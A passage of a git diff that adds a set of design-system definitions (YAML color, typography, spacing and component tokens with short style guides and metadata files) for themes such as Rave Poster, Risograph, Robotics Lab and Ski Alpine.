"#8A8A00" + tertiary: "#FF007A" + neutral: "#0A0A0A" + surface: "#141414" + on-primary: "#0A0A0A" +typography: + display: + fontFamily: Archivo Black + fontSize: 5.5rem + fontWeight: 900 + letterSpacing: "-0.04em" + h1: + fontFamily: Archivo Black + fontSize: 2.6rem + fontWeight: 900 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.45 + label: + fontFamily: Archivo Black + fontSize: 0.72rem + letterSpacing: "0.2em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A nightlife-poster system that crackles. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#FAFF00`):** Headlines and core text. +- **Secondary (`#8A8A00`):** Borders, captions, and metadata. +- **Tertiary (`#FF007A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0A0A`):** The page foundation. + +## Typography + +- **display:** Archivo Black 5.5rem +- **h1:** Archivo Black 2.6rem +- **body:** Inter 0.92rem +- **label:** Archivo Black 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/rave-poster.meta.json b/imported-skills/designdotmd/designs/rave-poster.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..e27c783964f9cb3ab43424c7911db14554d58aea --- /dev/null +++ b/imported-skills/designdotmd/designs/rave-poster.meta.json @@ -0,0 +1,4 @@ +{ + "id": "rave-poster", + "name": "Rave Poster" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/realty-open-house.md b/imported-skills/designdotmd/designs/realty-open-house.md new file mode 100644 index 0000000000000000000000000000000000000000..a6d6e797d7b1b391ba2cd9acf2d0212ce414ae36 --- /dev/null +++ b/imported-skills/designdotmd/designs/realty-open-house.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Realty Open House +description: Open-house listing: linen warm, brass accents. +colors: + primary: "#1E1914" + secondary: "#8A7E6C" + tertiary: "#A57D46" + neutral: "#F2ECDE" + surface: "#FBF5E6" + on-primary: "#FBF5E6" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 5rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.6rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 500 + letterSpacing: "0.2em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A premium real-estate palette: linen warmth, brass accent, tall serif display. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1E1914`):** Headlines and core text. +- **Secondary (`#8A7E6C`):** Borders, captions, and metadata. +- **Tertiary (`#A57D46`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2ECDE`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 5rem +- **h1:** Cormorant Garamond 2.6rem +- **body:** Inter 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/realty-open-house.meta.json b/imported-skills/designdotmd/designs/realty-open-house.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..c747459eae0cf697826a0d4f7f09e479dfa6f1af --- /dev/null +++ b/imported-skills/designdotmd/designs/realty-open-house.meta.json @@ -0,0 +1,4 @@ +{ + "id": "realty-open-house", + "name": "Realty Open House" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/record-sleeve.md b/imported-skills/designdotmd/designs/record-sleeve.md new file mode 100644 index 0000000000000000000000000000000000000000..0ff22c854b13958ec89bc0ce2654f8bc3ce935b8 --- /dev/null +++ b/imported-skills/designdotmd/designs/record-sleeve.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Record Sleeve +description: 1970s gatefold: ochre, umber, liner notes in serif. +colors: + primary: "#2A1B10" + secondary: "#7A6648" + tertiary: "#C77A2B" + neutral: "#F4E9D1" + surface: "#FBF2DE" + on-primary: "#FBF2DE" +typography: + display: + fontFamily: Abril Fatface + fontSize: 5rem + fontWeight: 400 + h1: + fontFamily: Abril Fatface + fontSize: 2.6rem + fontWeight: 400 + body: + fontFamily: Libre Caslon Text + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: Bebas Neue + fontSize: 0.85rem + letterSpacing: "0.16em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A record-store system drenched in dust and sun. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2A1B10`):** Headlines and core text. +- **Secondary (`#7A6648`):** Borders, captions, and metadata. +- **Tertiary (`#C77A2B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4E9D1`):** The page foundation. + +## Typography + +- **display:** Abril Fatface 5rem +- **h1:** Abril Fatface 2.6rem +- **body:** Libre Caslon Text 1rem +- **label:** Bebas Neue 0.85rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/record-sleeve.meta.json b/imported-skills/designdotmd/designs/record-sleeve.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..675b501bbc3614c846c7126d1269329a8d4db9ba --- /dev/null +++ b/imported-skills/designdotmd/designs/record-sleeve.meta.json @@ -0,0 +1,4 @@ +{ + "id": "record-sleeve", + "name": "Record Sleeve" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/remote-hub.md b/imported-skills/designdotmd/designs/remote-hub.md new file mode 100644 index 0000000000000000000000000000000000000000..aaacd53c2e1beebff819a4f333dedd5b3465499d --- /dev/null +++ b/imported-skills/designdotmd/designs/remote-hub.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Remote Hub +description: Remote-team dashboard: horizon blue, timezone teal. +colors: + primary: "#0F2233" + secondary: "#5A6E82" + tertiary: "#29AFB4" + neutral: "#EEF3F6" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Manrope + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Manrope + fontSize: 2rem + fontWeight: 700 + body: + fontFamily: Manrope + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Manrope + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.06em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A remote-team hub palette: horizon blue primary, timezone-teal accent, clean white surfaces. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F2233`):** Headlines and core text. +- **Secondary (`#5A6E82`):** Borders, captions, and metadata. +- **Tertiary (`#29AFB4`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEF3F6`):** The page foundation. + +## Typography + +- **display:** Manrope 3.75rem +- **h1:** Manrope 2rem +- **body:** Manrope 0.95rem +- **label:** Manrope 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/remote-hub.meta.json b/imported-skills/designdotmd/designs/remote-hub.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..9aee7adf86adc7fdf147f937f3586b0ac30affba --- /dev/null +++ b/imported-skills/designdotmd/designs/remote-hub.meta.json @@ -0,0 +1,4 @@ +{ + "id": "remote-hub", + "name": "Remote Hub" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/risograph.md b/imported-skills/designdotmd/designs/risograph.md new file mode 100644 index 0000000000000000000000000000000000000000..c2a58b29e1b590b25bc83415ddefc54b5f4d411d --- /dev/null +++ b/imported-skills/designdotmd/designs/risograph.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Risograph +description: Misregistered, grainy, joyful. +colors: + primary: "#1D3FA6" + secondary: "#6680C2" + tertiary: "#FF4FB4" + neutral: "#F2EEE4" + surface: "#FAF6EC" + on-primary: "#FAF6EC" +typography: + display: + fontFamily: Space Grotesk + fontSize: 4.25rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Space Grotesk + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: Space Grotesk + fontSize: 1rem + lineHeight: 1.55 + label: + fontFamily: Space Mono + fontSize: 0.75rem + letterSpacing: "0.04em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Two-color Risograph energy: fluorescent pink over federal blue, with grainy off-white paper. Designed for joy. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1D3FA6`):** Headlines and core text. +- **Secondary (`#6680C2`):** Borders, captions, and metadata. +- **Tertiary (`#FF4FB4`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2EEE4`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 4.25rem +- **h1:** Space Grotesk 2.25rem +- **body:** Space Grotesk 1rem +- **label:** Space Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/risograph.meta.json b/imported-skills/designdotmd/designs/risograph.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..53436a00389597434f1ab0e9a002f7bc5645698a --- /dev/null +++ b/imported-skills/designdotmd/designs/risograph.meta.json @@ -0,0 +1,4 @@ +{ + "id": "risograph", + "name": "Risograph" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/roblox-bubble.md b/imported-skills/designdotmd/designs/roblox-bubble.md new file mode 100644 index 0000000000000000000000000000000000000000..b46dbd607d2dc54c0ff33770a458bb34d495baab --- /dev/null +++ b/imported-skills/designdotmd/designs/roblox-bubble.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Roblox Bubble +description: Kid-MMO energy: chunky 3D buttons, primary bubbles. +colors: + primary: "#1A1A2E" + secondary: "#6B6FA2" + tertiary: "#00A2FF" + neutral: "#E6F4FF" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Fredoka + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "-0.01em" + h1: + fontFamily: Fredoka + fontSize: 2.4rem + fontWeight: 700 + body: + fontFamily: Fredoka + fontSize: 1rem + lineHeight: 1.55 + label: + fontFamily: Fredoka + fontSize: 0.8rem + fontWeight: 700 + letterSpacing: "0.04em" +rounded: + sm: 10px + md: 18px + lg: 30px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A kid-MMO system with chunky 3D-ish buttons and primary bubble colors. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A1A2E`):** Headlines and core text. +- **Secondary (`#6B6FA2`):** Borders, captions, and metadata. +- **Tertiary (`#00A2FF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E6F4FF`):** The page foundation. + +## Typography + +- **display:** Fredoka 4.5rem +- **h1:** Fredoka 2.4rem +- **body:** Fredoka 1rem +- **label:** Fredoka 0.8rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/roblox-bubble.meta.json b/imported-skills/designdotmd/designs/roblox-bubble.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..f7c6cdcc90f09fa0489c6692c20fd92e820c8851 --- /dev/null +++ b/imported-skills/designdotmd/designs/roblox-bubble.meta.json @@ -0,0 +1,4 @@ +{ + "id": "roblox-bubble", + "name": "Roblox Bubble" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/robotics-lab.md b/imported-skills/designdotmd/designs/robotics-lab.md new file mode 100644 index 0000000000000000000000000000000000000000..132ee16464f5380f94afd3780d89f99c02bb03d3 --- /dev/null +++ b/imported-skills/designdotmd/designs/robotics-lab.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Robotics Lab +description: Lab-bench white, safety-orange kill switch. +colors: + primary: "#17191C" + secondary: "#636870" + tertiary: "#FF6A00" + neutral: "#F2F3F5" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.75rem + fontWeight: 600 + h1: + fontFamily: Space Grotesk + fontSize: 2rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A robotics-control UI: bench-white surface, neutral grey, single hot-orange for STOP. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#17191C`):** Headlines and core text. +- **Secondary (`#636870`):** Borders, captions, and metadata. +- **Tertiary (`#FF6A00`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2F3F5`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.75rem +- **h1:** Space Grotesk 2rem +- **body:** Inter 0.95rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/robotics-lab.meta.json b/imported-skills/designdotmd/designs/robotics-lab.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..36237494ad16bb878a9245b09cad3fdb6ebd5970 --- /dev/null +++ b/imported-skills/designdotmd/designs/robotics-lab.meta.json @@ -0,0 +1,4 @@ +{ + "id": "robotics-lab", + "name": "Robotics Lab" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/running-kilometer.md b/imported-skills/designdotmd/designs/running-kilometer.md new file mode 100644 index 0000000000000000000000000000000000000000..58d9f93c395350bd887bf171f7191a8ec5cef978 --- /dev/null +++ b/imported-skills/designdotmd/designs/running-kilometer.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Running Kilometer +description: Runner app: track orange, split white, PR green. +colors: + primary: "#151818" + secondary: "#6A7272" + tertiary: "#FF5E1A" + neutral: "#F4F5F2" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Outfit + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.04em" + h1: + fontFamily: Outfit + fontSize: 2.2rem + fontWeight: 700 + body: + fontFamily: Outfit + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Outfit + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.12em" +rounded: + sm: 8px + md: 14px + lg: 24px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A running-app palette: track-orange primary, clean white surfaces, PR-green accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#151818`):** Headlines and core text. +- **Secondary (`#6A7272`):** Borders, captions, and metadata. +- **Tertiary (`#FF5E1A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4F5F2`):** The page foundation. + +## Typography + +- **display:** Outfit 4rem +- **h1:** Outfit 2.2rem +- **body:** Outfit 0.95rem +- **label:** Outfit 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/running-kilometer.meta.json b/imported-skills/designdotmd/designs/running-kilometer.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..3806aac2be6ddf329cb6912aff5ad220809e74dc --- /dev/null +++ b/imported-skills/designdotmd/designs/running-kilometer.meta.json @@ -0,0 +1,4 @@ +{ + "id": "running-kilometer", + "name": "Running Kilometer" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/scandi-pine.md b/imported-skills/designdotmd/designs/scandi-pine.md new file mode 100644 index 0000000000000000000000000000000000000000..6eeff84d0d5059e7c169c057d64f8ef45903dde3 --- /dev/null +++ b/imported-skills/designdotmd/designs/scandi-pine.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Scandi Pine +description: Scandi interior: birch, oat, one forest pine. +colors: + primary: "#1B1B1A" + secondary: "#8A8578" + tertiary: "#4C7A55" + neutral: "#F0EADD" + surface: "#FBF5E8" + on-primary: "#FBF5E8" +typography: + display: + fontFamily: Manrope + fontSize: 4rem + fontWeight: 500 + letterSpacing: "-0.03em" + h1: + fontFamily: Manrope + fontSize: 2.1rem + fontWeight: 500 + body: + fontFamily: Manrope + fontSize: 0.98rem + lineHeight: 1.6 + label: + fontFamily: Manrope + fontSize: 0.72rem + fontWeight: 500 + letterSpacing: "0.2em" +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A Scandinavian furniture palette: birch-white surface, oat-warm secondary, forest-pine accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1B1B1A`):** Headlines and core text. +- **Secondary (`#8A8578`):** Borders, captions, and metadata. +- **Tertiary (`#4C7A55`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0EADD`):** The page foundation. + +## Typography + +- **display:** Manrope 4rem +- **h1:** Manrope 2.1rem +- **body:** Manrope 0.98rem +- **label:** Manrope 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/scandi-pine.meta.json b/imported-skills/designdotmd/designs/scandi-pine.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..65571da640ec2e50926519796ea49ae8e3f9d5ac --- /dev/null +++ b/imported-skills/designdotmd/designs/scandi-pine.meta.json @@ -0,0 +1,4 @@ +{ + "id": "scandi-pine", + "name": "Scandi Pine" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/science-journal.md b/imported-skills/designdotmd/designs/science-journal.md new file mode 100644 index 0000000000000000000000000000000000000000..94b52207678253758d34c78f6a586d40df24d16e --- /dev/null +++ b/imported-skills/designdotmd/designs/science-journal.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Science Journal +description: Scientific-journal: paper-white column, abstract-blue plates. +colors: + primary: "#121213" + secondary: "#606368" + tertiary: "#1A4B8C" + neutral: "#FAF9F5" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Source Serif 4 + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.015em" + h1: + fontFamily: Source Serif 4 + fontSize: 2.2rem + fontWeight: 700 + body: + fontFamily: Source Serif 4 + fontSize: 1rem + lineHeight: 1.7 + label: + fontFamily: IBM Plex Sans + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 3px + lg: 5px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A scientific-journal palette: paper-white columns, plate-blue chart accent, strict rag-right. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#121213`):** Headlines and core text. +- **Secondary (`#606368`):** Borders, captions, and metadata. +- **Tertiary (`#1A4B8C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FAF9F5`):** The page foundation. + +## Typography + +- **display:** Source Serif 4 4rem +- **h1:** Source Serif 4 2.2rem +- **body:** Source Serif 4 1rem +- **label:** IBM Plex Sans 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/science-journal.meta.json b/imported-skills/designdotmd/designs/science-journal.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..31b6d23f1c160583433ff9615f38ed1dc1e69e00 --- /dev/null +++ b/imported-skills/designdotmd/designs/science-journal.meta.json @@ -0,0 +1,4 @@ +{ + "id": "science-journal", + "name": "Science Journal" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/skate-deck.md b/imported-skills/designdotmd/designs/skate-deck.md new file mode 100644 index 0000000000000000000000000000000000000000..15d5f7bb48365ae60cc5f5cfd6ca792238cd92a0 --- /dev/null +++ b/imported-skills/designdotmd/designs/skate-deck.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Skate Deck +description: Skate-deck graphic: griptape black, neon green, spray pink. +colors: + primary: "#F0F0EE" + secondary: "#8C8C8C" + tertiary: "#C6F800" + neutral: "#0A0A0A" + surface: "#141414" + on-primary: "#0A0A0A" +typography: + display: + fontFamily: Archivo Black + fontSize: 5rem + fontWeight: 900 + letterSpacing: "-0.04em" + h1: + fontFamily: Archivo Black + fontSize: 2.5rem + fontWeight: 900 + body: + fontFamily: Inter + fontSize: 0.94rem + lineHeight: 1.5 + label: + fontFamily: Archivo Black + fontSize: 0.72rem + letterSpacing: "0.18em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A skateboard-brand palette: griptape black, neon-green primary, spray-pink accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F0F0EE`):** Headlines and core text. +- **Secondary (`#8C8C8C`):** Borders, captions, and metadata. +- **Tertiary (`#C6F800`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0A0A`):** The page foundation. + +## Typography + +- **display:** Archivo Black 5rem +- **h1:** Archivo Black 2.5rem +- **body:** Inter 0.94rem +- **label:** Archivo Black 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/skate-deck.meta.json b/imported-skills/designdotmd/designs/skate-deck.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..a631c0eb660fd5900c08aa9cf34dfe96024ceac6 --- /dev/null +++ b/imported-skills/designdotmd/designs/skate-deck.meta.json @@ -0,0 +1,4 @@ +{ + "id": "skate-deck", + "name": "Skate Deck" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/ski-alpine.md b/imported-skills/designdotmd/designs/ski-alpine.md new file mode 100644 index 0000000000000000000000000000000000000000..0a836b84a6458f5e05239aed583d5c21ca41ae32 --- /dev/null +++ b/imported-skills/designdotmd/designs/ski-alpine.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Ski Alpine +description: Alpine signage: glacier blue, piste red, powder white. +colors: + primary: "#0F2436" + secondary: "#5E7386" + tertiary: "#E63946" + neutral: "#F0F5FA" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Oswald + fontSize: 4.5rem + fontWeight: 700 + letterSpacing: "0.02em" + h1: + fontFamily: Oswald + fontSize: 2.3rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Oswald + fontSize: 0.78rem + letterSpacing: "0.14em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A ski-resort palette: glacier blue primary, piste-red accent, powder white surface. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F2436`):** Headlines and core text. +- **Secondary (`#5E7386`):** Borders, captions, and metadata. +- **Tertiary (`#E63946`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0F5FA`):** The page foundation. + +## Typography + +- **display:** Oswald 4.5rem +- **h1:** Oswald 2.3rem +- **body:** Inter 0.95rem +- **label:** Oswald 0.78rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/ski-alpine.meta.json b/imported-skills/designdotmd/designs/ski-alpine.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..a4968d1e81789c7bddaad6b88449997de586ad2c --- /dev/null +++ b/imported-skills/designdotmd/designs/ski-alpine.meta.json @@ -0,0 +1,4 @@ +{ + "id": "ski-alpine", + "name": "Ski Alpine" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/skincare-matte.md b/imported-skills/designdotmd/designs/skincare-matte.md new file mode 100644 index 0000000000000000000000000000000000000000..1ce7350c7074a327fd4869a4a4bda1c05c9aad11 --- /dev/null +++ b/imported-skills/designdotmd/designs/skincare-matte.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Skincare Matte +description: Matte bottle minimal: oat, stone grey, graphite label. +colors: + primary: "#1B1917" + secondary: "#8C847A" + tertiary: "#3E3832" + neutral: "#ECE6D9" + surface: "#F6F1E4" + on-primary: "#F6F1E4" +typography: + display: + fontFamily: Jost + fontSize: 4rem + fontWeight: 300 + letterSpacing: "-0.02em" + h1: + fontFamily: Jost + fontSize: 2.2rem + fontWeight: 300 + body: + fontFamily: Jost + fontSize: 0.98rem + lineHeight: 1.65 + label: + fontFamily: Jost + fontSize: 0.72rem + fontWeight: 400 + letterSpacing: "0.24em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + 